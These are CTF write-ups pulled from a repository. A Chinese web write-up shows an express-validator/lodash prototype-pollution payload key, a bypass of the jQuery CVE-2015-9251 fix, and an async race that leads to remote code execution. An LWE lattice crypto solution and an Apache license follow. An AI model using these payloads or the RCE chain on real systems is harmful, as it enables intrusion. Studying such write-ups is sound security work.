先想一下,目前这条路遇到的问题就是,我们需要把恶意的`key`传递给lodash的`_set`作为第二个参数,而这个恶意的`key`本身是通过`req`的参数传过去的,所以会事先保存到`_.set`的第一个参数`req[location]`里面,导致原型链污染失败。那么有没有可能这个`key`在走到`_set`之前的某个时候,经过了`express-validator`的一些处理发生了一些(奇特的)变化导致和`req[location]`里的`key`不一样了呢?这样的话`_set`就可以污染成功了。 118 | 119 | 废话不多说,定位到`ContextRunnerImpl.js`代码中,在调用`context.stack`中的各种过滤器和`sanitizer`之前,调了一个`this.selectFields`函数,这个函数的作用其实就是根据我们传入`check()`的参数,也就是http请求的参数`key`,获取对应的值并封装成`instance`对象返回。代码在`src/select-fields.js`中,可以看到在其中的`expandPath`函数中对`key`动了手脚。代码如图 120 | 121 | ![image-20201021161801834](./assets/image-20201021161801834.png) 122 | 123 | 这个函数处理的第二句是因为express-validator的check参数支持通配符`wildcard`的写法,大概意思就是当`body("a.*")`这样写的话,就可以对body中a对象里面的所有属性进行验证,比如下面的body参数 124 | 125 | ``` 126 | {"a": {"b":"123"}} 127 | ``` 128 | 129 | 就可以对b的内容进行验证。但是如果我们这样写 130 | 131 | ``` 132 | {"a.b":"123"} 133 | ``` 134 | 135 | `express-validator`其实是不会对`a.b`进行验证的,因为这里的`a.b`相当于是一个`key`,在传入`express`的时候并不会进行自动的`unflatten`而变成一个a对象包含一个b对象。但是`express-validator`内部都是通过lodash的`_get`和`_set`对对象进行赋值和取值,当传入类似`a.b`这种`key`给`_set`的时候,lodash会误以为给某对象的a对象的b对象进行赋值,所以会先创建a对象,然后创建b对象,最后进行赋值,而不是单纯的给某对象的`a.b`这个key进行赋值。为了防止这种误操作的情况出现,`express-validator`也是对key进行了检查,当存在特殊字符的时候会进行一些处理,也就是前面提到的对`key`动的手脚XD 136 | 137 | ![image-20201021161844871](./assets/image-20201021161844871.png) 138 | 139 | 图里的`segment`就是key,可以看到经过这段代码的处理,带`.`的的项都被`[""]`包裹起来了,相当于把key给"转义"了一下,防止用户在传入带`.`的key的参数在赋值时赋错了,并且还可以防止原型链污染。可以用下面的代码验证。 140 | 141 | ```javascript 142 | // lodash <= 4.17.16 143 | var _ = require('lodash') 144 | var c = {} 145 | // _.set(c,'a.b', 1) 146 | // console.log(c) 147 | // { a: { b: 1 } } 148 | _.set(c,'["a.b"]', 1) 149 | console.log(c) 150 | // { 'a.b': 1 } 151 | ``` 152 | 153 | 但是,但是,这里是可以bypass的!原因就是出在这里用的是javascript的模版字符串的写法,比如我们传入这样的key的时候 154 | 155 | ``` 156 | {"\"].a[\"b": "123 "} 157 | ``` 158 | 159 | image-20201021165346469 160 | 161 | 在经过处理之后到`_set`之后 162 | 163 | ![image-20201021165423128](./assets/image-20201021165423128.png) 164 | 165 | 发现成功变成了 166 | 167 | ``` 168 | '[""].a["b"]' 169 | ``` 170 | 171 | 而这个传入`_set`之后,由于`req[location]`中不存在这个key,所以就可以成功设置`req[locaiton]`的。。。的。。。什么key呢?可以用下面代码测试一下 172 | 173 | ```javascript 174 | // lodash <= 4.17.16 175 | var _ = require('lodash') 176 | var c = {} 177 | _.set(c,'[""].a["b"]', 1) 178 | console.log(c) 179 | // { '': { a: { b: 1 } } } 180 | ``` 181 | 182 | 可以看出是设置了空字符key这个对象下的a对象的b属性的值。那么改下payload 183 | 184 | ``` 185 | {"\"].__proto__[\"mads": "123 "} 186 | ``` 187 | 188 | image-20201021170203023 189 | 190 | 发送 191 | 192 | ![image-20201021170306875](./assets/image-20201021170306875.png) 193 | 194 | 发现成功污染了原型,增加了一个`mads`参数,但是好像值有点不对劲。这里往后调一下就知道,是因为在`_set`的时候用的第三个参数`newValue`是利用变化后的`key`重新从`req[location]`取出来的。但取出来本应该是`undefined`,但是别忘了,因为我们用了`sanitizer`,所以这个`undefined`会经过`sanitizer`的处理,处理代码如下 195 | 196 | ![image-20201021170913887](./assets/image-20201021170913887.png) 197 | 198 | 不出我们所料,`undefined`经过处理后成功变成了空字符串`''`,就是图中箭头所指向的`toString()`函数的功能。而前面提到的`reqValue`,也会从`req[location]`重新get一下,而这个get到的`undefined`不会被处理而保留。而`undefined !== ''`的结果为真,于是经过这一番折腾,依然满足`_set`的条件,可以成功进行原型链的参数污染,只是被污染的key的值,只能是空字符串`''`。 199 | 200 | 但就是这一个空字符串,因为Javascript的一些特性,可以具备很强大的威力。比如if判断中,`''`字符串会返回false,这就是说我们可以把某些地方的本来为`真`的条件判断改为`假`,**从而绕过某些限制或者改变代码走向。** 201 | 202 | 总结一下,通过这个攻击面,我们目前拥有的是有限的原型链污染能力,即污染原型链上(任意对象的)任意属性为空字符串`''`。 203 | 204 | ### #2 复活jQuery中的远古RCE恶龙 205 | 206 | https://snyk.io/vuln/npm:jquery:20150627 207 | 208 | https://www.cvedetails.com/cve/CVE-2015-9251/ 209 | 210 | CVE-2015-9251简单来说就是当`jQuery`的url返回的头的`content-type:`字段为` text/javascript`的时候,即使没有设置`dataType: 'script'`,也会自动`eval`返回内容。 211 | 212 | 也就是说这个漏洞能做到控制了`ajax`的url就可以RCE(前端是XSS,放在后端自然就是RCE),极其强大。可惜的是在`jquery 3.0.0`就修复了。题目中用的jQuery也是最新的没有这个漏洞。但是可以看看修复[代码](https://github.com/jquery/jquery/blob/5c2d08704e289dd2745bcb0557b35a9c0e6af4a4/src/ajax/script.js#L23)是怎么样的 213 | 214 | ![image-20201021175549022](./assets/image-20201021175549022.png) 215 | 216 | 通过判断`s.crossDomain`这个变量的`真/假`,如果是真,就会设置返回内容不可自动执行。 217 | 218 | 而这个s.crossDomain在JQuery的默认设置里面是不存在的,在JQuery对象初始化时候,用到了`jQuery.ajaxExtend`函数 219 | 220 | dist/jquery.js 221 | 222 | ![image-20201022095849061](./assets/image-20201022095849061.png) 223 | 224 | ![image-20201022095119384](./assets/image-20201022095119384.png) 225 | 226 | 这个函数内部是用`for in`的方式来遍历`src`的key的, 227 | 228 | dist/jquery.js 229 | 230 | ![image-20201022095951448](./assets/image-20201022095951448.png)这种方式会去拿对象本身不存在但是原型链上存在的key,而这时原型链上如果存在被污染的`crossDomain`,就会被赋值给`target`,可以用下面的代码来验证 231 | 232 | ```javascript 233 | Object.prototype.polluted = '' 234 | let a = {} 235 | let c = {} 236 | for( key in c){ 237 | a[key] = c[key] 238 | } 239 | 240 | console.log(Object.keys(a)) 241 | // [ 'polluted' ] 242 | console.log(a) 243 | // { polluted: '' } 244 | ``` 245 | 246 | 于是经过`ajaxExtend`的操作,`s.crossDomain`被覆盖成了原型链上被污染的值`''`,这导致在后续对`s.crossDomain`真正赋值的时候出现问题, 247 | 248 | 赋值的地方长这个样子 249 | 250 | src/ajax.js 251 | 252 | ![image-20201021195950003](./assets/image-20201021195950003.png) 253 | 254 | 因为默认配置里`s.crossDomain`没有初始化是`undefined`,然后`undefined == null`是true,所以这里正常情况下可以进入这个判断,设置`s.crossDomain`为相应的值。但是经过上面一通操作现在`s.crossDomain`已经变成了`''`,`if(s.crossDomain == null)`就会失败,从而不会进入判断,而保留`s.crossDomain = ''`。 255 | 256 | 再看看上面的修复代码,当`s.crossDomain = ''`的时候,`if(s.crossDomain)`也会返回`假`,导致不会进入判断,成功绕过了CVE-2015-9251。 257 | 258 | > 这里由于ajaxExtend的for..in写法,如果拥有正常的原型链污染,就可以覆盖s的任意配置为任意值,包括url和method等。 259 | 260 | 总结一下,结合#1中的原型链污染以及jQuery中的一个gadgets,可以成功RCE,目前利用条件变为: 261 | 262 | - 控制jQuery的ajax请求的url 263 | 264 | ### # 3 典型的异步编程陷阱 265 | 266 | 在我们初学JavaScript的时候,是不是也遇到过一些和异步函数相关的很反常识的bug呢?这题的`entity.js`里`DataRepository.D`方法的实现就有问题, 267 | 268 | entity.js 269 | 270 | ![image-20201022104530048](./assets/image-20201022104530048.png) 271 | 272 | 这里的`requests`是一个异步函数,在删除`this.types`数组对应的项之后,由于异步函数的特性,`express`不会等待`requests`而继续执行下面的代码,所以`this.datas`中对应的项的删除也被相应的异步延后了。这样一来,就会在某一时刻,`this.datas`和`this.types`长这个样子(以默认的项为例,删除`fake-uuid`) 273 | 274 | ![image-20201022121557273](./assets/image-20201022121557273.png) 275 | 276 | 这个时候如果我们抓住机会访问`GET /data/fake-uuid`,`dataRepo.R`的返回结果就会长这个样子 277 | 278 | ```json 279 | [ 280 | "url", 281 | "canary 282 | ] 283 | ``` 284 | 285 | 所以我们只要利用异步函数导致的数据不一致,发送一些恶意请求,构造`this.types`和`this.datas`中间某一段大概像下面图这个样子(错位),最后发起`GET /data/xx1`请求,就可以让题目访问我们自己的url。 286 | 287 | ![image-20201022151504944](./assets/image-20201022151504944.png) 288 | 289 | 最后注意一点就是,因为后端request请求的是本地回环比较快,所以为了在`dataRepo.D`中requests没结束时构造好我们想要的数据模样,需要`dataRepo.D`中requests的耗时比我们构造的时间久,有个想法是可以先post一些链表形式串起来的数据,如下图, 290 | 291 | ![image-20201022131845955](./assets/image-20201022131845955.png) 292 | 293 | 然后再发起链表头数据的`DELETE`请求,让requests进行递归的删除,这样就可以通过这个链表的长度从而控制requests花费的时间,以让requests耗费的时间符合我们的预期。 294 | 295 | > 链表实际的长度需要根据不同的网络状况调整,目标就是**让后端dataRepo.D的requests在我们构造包发送完时候还没处理完**的情况下越小越好(节约时间嘛 296 | 297 | > 测试会发现this.types和this.blocks的长度相差为3的情况比较稳定,我的推测是nodejs是分了两个线程来处理xhr的异步请求?具体没有去分析,属于猜想(但线程数肯定是有限的嘛,所以这里的错位的位数肯定是一个固定的值)。体现在exploit里就可以设置y>=3,x一直增大到满足条件即可构造成功。 298 | 299 | > 所以如果网络比较差,这个链就需要POST的比较久,还有可能被平台的waf拦截(waf拦截的是太快的请求,所以POST链的时候设置一下发送频率就可以过waf,但可能就比较久/哭 300 | 301 | ### #4 跨域问题解决 302 | 303 | 自己的恶意url响应头按照CVE-2015-9251设置`Content-Type: text/javascript`,会报下面这样的错误 304 | 305 | image-20201023193659917 306 | 307 | 解决办法很简单,就是在我们自己url返回内容的时候加上这两个返回头,另外再设置一个允许跨域访问的返回头就可以啦。 308 | 309 | ```javascript 310 | res.setHeader("Content-Type", "text/javascript") 311 | res.setHeader("Access-Control-Allow-Origin", "*") 312 | res.setHeader("Access-Control-Allow-Headers", "X-Requested-With, crossDomain") 313 | ``` 314 | 315 | ## exploit 316 | 317 | - [exploit.py](exploit.py) 318 | - [cmd.js](cmd.js) 319 | 320 | ## reference 321 | 322 | - Lodash < 4.17.17 Prototype Pollution https://snyk.io/vuln/SNYK-JS-LODASH-608086 323 | - CVE-2015-9251 https://www.cvedetails.com/cve/CVE-2015-9251/ 324 | 325 | 326 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Crypto/diamond/diamond_writeup.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": {}, 6 | "source": [ 7 | "This challenge implements an instantiation based on LWE where the error in discrete Gaussian distribution(see [[1]](#1), [[2]](#2)), a Search-LWE problem can be written as:\n", 8 | "\n", 9 | "$$\\mathbf{A}\\cdot \\mathbf{s} + \\mathbf{e}\\equiv \\mathbf{b}\\pmod q$$\n", 10 | "\n", 11 | "where $\\mathbf{A} \\in \\mathbb{Z}^{n\\times m}_q$, $\\mathbf{s} \\in \\mathbb{Z}^{n}_q$ and $\\mathbf{e} \\in \\mathbb{Z}^{m}_q$, our goal is to find $\\mathbf{s}$ given $(\\mathbf{A}, \\mathbf{b})$, but in this challenge both $\\mathbf{A}$ and $\\mathbf{b}$ are masked by some random vectors or matrix, we must solve some lattice-based problems to recover them at first.\n", 12 | "\n", 13 | "For $\\mathbf{b}$, the main problem is:\n", 14 | "\n", 15 | "$$\\mathbf{T}\\cdot \\mathbf{b} = \\mathbf{R}, \\mathbf{T}\\in \\mathbb{Z}^{1\\times 64}_{2^{1024}}, \\mathbf{b}\\in \\mathbb{Z}^{64\\times 1}_{1000}$$\n", 16 | "\n", 17 | "We need to recover $\\mathbf{b}$ given $\\mathbf{T}$ and $\\mathbf{R}$, we can regard this problem as a knapsack-like problem, since the value of the elements in $\\mathbf{b}$ is much smaller than in $\\mathbf{T}$, it can be done easily using LLL-reduction:" 18 | ] 19 | }, 20 | { 21 | "cell_type": "code", 22 | "execution_count": 1, 23 | "metadata": {}, 24 | "outputs": [ 25 | { 26 | "data": { 27 | "text/plain": [ 28 | "True" 29 | ] 30 | }, 31 | "execution_count": 1, 32 | "metadata": {}, 33 | "output_type": "execute_result" 34 | } 35 | ], 36 | "source": [ 37 | "T = Matrix([randint(1, 2^1024) for _ in range(64)])\n", 38 | "b = vector([randint(1, 1000) for _ in range(64)])\n", 39 | "R = T * b\n", 40 | "\n", 41 | "res = T.transpose().stack(R).transpose().right_kernel_matrix()\n", 42 | "res = res.LLL()\n", 43 | "b == vector(map(abs, res[0][:-1]))" 44 | ] 45 | }, 46 | { 47 | "cell_type": "markdown", 48 | "metadata": {}, 49 | "source": [ 50 | "For $\\mathbf{A}$, the main problem is:\n", 51 | "\n", 52 | "$$\\mathbf{A}\\cdot \\mathbf{T} = \\mathbf{R}, \\mathbf{A}\\in \\mathbb{Z}^{320\\times 5}_{1000}, \\mathbf{T}\\in \\mathbb{Z}^{5\\times 7}_{2^{1024}}$$\n", 53 | "\n", 54 | "We need to recover $\\mathbf{A}$ only given $\\mathbf{R}$, this situation becomes a bit more complicated since this time we only know the product of two unknown matrix, though it may seem impossible, we can recover it since the value of the elements in $\\mathbf{A}$ is much smaller than in $\\mathbf{T}$, noticed that each row vector in $\\mathbf{T}^\\top$ is a linear combination of all row vectors in $\\mathbf{A}^\\top$, we can perform LLL-reduction on $\\mathbf{T}$, then check whether there is a vector in the linear combination of the obtained vectors whose values of all elements fall in the interval of $[10, 1000]$, if it exists, we mark it as a candidate vector, after finding five candidates we only need to enumerate in its full permutation:" 55 | ] 56 | }, 57 | { 58 | "cell_type": "code", 59 | "execution_count": 2, 60 | "metadata": {}, 61 | "outputs": [ 62 | { 63 | "data": { 64 | "text/plain": [ 65 | "True" 66 | ] 67 | }, 68 | "execution_count": 2, 69 | "metadata": {}, 70 | "output_type": "execute_result" 71 | } 72 | ], 73 | "source": [ 74 | "import itertools\n", 75 | "\n", 76 | "def check(l):\n", 77 | " return sum([i>=10 and i<=1000 for i in l]) == 320 or sum([-i>=10 and -i<=1000 for i in l]) == 320\n", 78 | "\n", 79 | "def get_A(res, idx_list, op_list):\n", 80 | " A_cols = []\n", 81 | " for a, b, c, d, e in idx_list:\n", 82 | " for op in op_list:\n", 83 | " v = res[a]*op[0] + res[b]*op[1] + res[c]*op[2] + res[d]*op[3] + res[e]*op[4]\n", 84 | " if check(v) and (v not in A_cols) and (-v not in A_cols):\n", 85 | " A_cols.append(v)\n", 86 | " if len(A_cols) == 5:\n", 87 | " return A_cols\n", 88 | "\n", 89 | "A = random_matrix(ZZ, 320, 5, x = 10, y = 1000)\n", 90 | "R = Matrix(A * vector([randint(1, 2^1024) for _ in range(5)]) for _ in range(7))\n", 91 | "\n", 92 | "res = R.LLL()\n", 93 | "\n", 94 | "idx_list = list(cartesian_product([[2, 3, 4, 5, 6] for _ in range(5)]))\n", 95 | "op_list = list(cartesian_product([[-1, 0, 1] for _ in range(5)]))\n", 96 | "\n", 97 | "ans = get_A(res, idx_list, op_list)\n", 98 | "ans = [i if i>0 else -i for i in ans]\n", 99 | "\n", 100 | "possible_A = list(map(Matrix, list(itertools.permutations(ans))))\n", 101 | "possible_A = [i.transpose() for i in possible_A]\n", 102 | "A in possible_A" 103 | ] 104 | }, 105 | { 106 | "cell_type": "markdown", 107 | "metadata": {}, 108 | "source": [ 109 | "Now the only thing left is to solve a Search-LWE problem, LWE is as hard as classical lattice problems, such as the SIVP, in the worst case. But in practice, there exist many attacks for LWE in different model(see [[3]](#3), Section 3.3;[[4]](#4), Section 4). In this challenge, the security parameter $n$ are suitably small, we can convert the LWE problem to a CVP problem and applied LLL or BKZ lattice basis reduction:" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 3, 115 | "metadata": {}, 116 | "outputs": [ 117 | { 118 | "data": { 119 | "text/plain": [ 120 | "True" 121 | ] 122 | }, 123 | "execution_count": 3, 124 | "metadata": {}, 125 | "output_type": "execute_result" 126 | } 127 | ], 128 | "source": [ 129 | "from sage.crypto.lwe import LWE\n", 130 | "from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler as DGDIS\n", 131 | "\n", 132 | "L = LWE(n = 25, q = 1000, D = DGDIS(3))\n", 133 | "S = [L() for _ in range(64)]\n", 134 | "A = matrix([x for x, _ in S])\n", 135 | "b = vector(ZZ, [y for _, y in S])\n", 136 | "\n", 137 | "basis = A.transpose().change_ring(ZZ).stack(1000 * identity_matrix(64)).hermite_form()[:64]\n", 138 | "res = block_matrix([[matrix(ZZ,1,1,[3]), matrix(b)], [matrix(ZZ, 64, 1, [0] * 64), basis]])\n", 139 | "\n", 140 | "res = res.LLL()\n", 141 | "e = res[0][1:]\n", 142 | "s = A \\ (b - e)\n", 143 | "\n", 144 | "s == L._LWE__s" 145 | ] 146 | }, 147 | { 148 | "cell_type": "markdown", 149 | "metadata": {}, 150 | "source": [ 151 | "Here is my final solver:" 152 | ] 153 | }, 154 | { 155 | "cell_type": "code", 156 | "execution_count": 4, 157 | "metadata": {}, 158 | "outputs": [ 159 | { 160 | "name": "stdout", 161 | "output_type": "stream", 162 | "text": [ 163 | "b'X-NUCA{Wh4t_Tru1y_i5_l0giC?_Wh0_d3c1des_re4soN_12e8h8vbd82t4e6q}'\n" 164 | ] 165 | } 166 | ], 167 | "source": [ 168 | "import itertools\n", 169 | "from Crypto.Cipher import AES\n", 170 | "from Crypto.Util.number import *\n", 171 | "from hashlib import sha256\n", 172 | "\n", 173 | "def check(l):\n", 174 | " return sum([i>=10 and i<=1000 for i in l]) == 320 or sum([-i>=10 and -i<=1000 for i in l]) == 320\n", 175 | " \n", 176 | "def get_A(res, idx_list, op_list):\n", 177 | " A_cols = []\n", 178 | " for a, b, c, d, e in idx_list:\n", 179 | " for op in op_list:\n", 180 | " v = res[a]*op[0] + res[b]*op[1] + res[c]*op[2] + res[d]*op[3] + res[e]*op[4]\n", 181 | " if check(v) and (v not in A_cols) and (-v not in A_cols):\n", 182 | " A_cols.append(v)\n", 183 | " if len(A_cols) == 5:\n", 184 | " return A_cols\n", 185 | "\n", 186 | "def get_s(A, b):\n", 187 | " basis = A.transpose().change_ring(ZZ).stack(1000 * identity_matrix(64)).hermite_form()[:64]\n", 188 | " res = block_matrix([[matrix(ZZ, 1, 1, [3]), matrix(b)], [matrix(ZZ, 64, 1, [0] * 64), basis]])\n", 189 | " res = res.LLL(beta = 25)\n", 190 | " e = res[0][1:]\n", 191 | " try:\n", 192 | " s = A \\ (b - e)\n", 193 | " return s\n", 194 | " except:\n", 195 | " return None\n", 196 | "\n", 197 | "f = open(\"output.txt\").read()\n", 198 | "data = f.split('\\n')\n", 199 | "\n", 200 | "B = Matrix(ZZ, 7, 320, list(map(int, data[0].replace('[', '').replace(']', '').split(', '))))\n", 201 | "J = Matrix(ZZ, 64, 25, list(map(int, data[1].replace('[', '').replace(']', '').split(', '))))\n", 202 | "R = Matrix(ZZ, 65, 1, list(map(int, data[2].replace('[', '').replace(']', '').split(', '))))\n", 203 | "iv = long_to_bytes(int(data[3], 16))[:16]\n", 204 | "ct = long_to_bytes(int(data[3], 16))[16:]\n", 205 | "\n", 206 | "res = B.LLL()\n", 207 | "idx_list = list(cartesian_product([[2, 3, 4, 5, 6] for _ in range(5)]))\n", 208 | "op_list = list(cartesian_product([[-1, 0, 1] for _ in range(5)]))\n", 209 | "ans = get_A(res, idx_list, op_list)\n", 210 | "ans = [i if i>0 else -i for i in ans]\n", 211 | "possible_A = list(map(Matrix, list(itertools.permutations(ans))))\n", 212 | "possible_A = [i.transpose() for i in possible_A]\n", 213 | "\n", 214 | "T = R[:-1].transpose()\n", 215 | "V = R[-1]\n", 216 | "k = T.transpose().stack(V).transpose()\n", 217 | "kk = k.right_kernel_matrix()\n", 218 | "kkk = kk.LLL()\n", 219 | "b = kkk[0][:-1]\n", 220 | "\n", 221 | "for A in possible_A:\n", 222 | " try:\n", 223 | " AA = Matrix(Zmod(1000), 64, 25, [int(i).__xor__(int(j)) for i,j in zip(A.list(), J.list())])\n", 224 | " res = get_s(AA, b)\n", 225 | " key = sha256(''.join(list(map(str, res))).encode()).digest()\n", 226 | " cipher = AES.new(key, AES.MODE_CBC, iv)\n", 227 | " pt = cipher.decrypt(ct)\n", 228 | " if pt.startswith(b\"X-NUCA{\"):\n", 229 | " print(pt)\n", 230 | " break\n", 231 | " except:\n", 232 | " continue" 233 | ] 234 | }, 235 | { 236 | "cell_type": "markdown", 237 | "metadata": {}, 238 | "source": [ 239 | "**P.S.**\n", 240 | "\n", 241 | "* In order to increase the probability of success in some cases, we can also expand the scope of the solution space by adopting dimensionality reduction.\n", 242 | "\n", 243 | "* The content of the FLAG is a quote from movie *A Beautiful Mind* \"I've always believed in numbers and the equations and logics that lead to reason. But after a lifetime of such pursuits, I ask, 'What truly is logic? Who decides reason?'\"\n", 244 | "\n", 245 | "**Reference**\n", 246 | "\n", 247 | " [1] Regev, Oded. \"On lattices, learning with errors, random linear codes, and cryptography.\" Journal of the ACM (JACM) 56.6 (2009): 1-40.\n", 248 | "\n", 249 | " [2] Regev, Oded. \"The learning with errors problem.\" Invited survey in CCC 7 (2010): 30.\n", 250 | "\n", 251 | " [3] De Meyer, Lauren. \"Security of LWE-based cryptosystems.\" \n", 252 | "\n", 253 | "[4] Bai, Shi, and Steven D. Galbraith. \"Lattice decoding attacks on binary LWE.\" Australasian Conference on Information Security and Privacy. Springer, Cham, 2014." 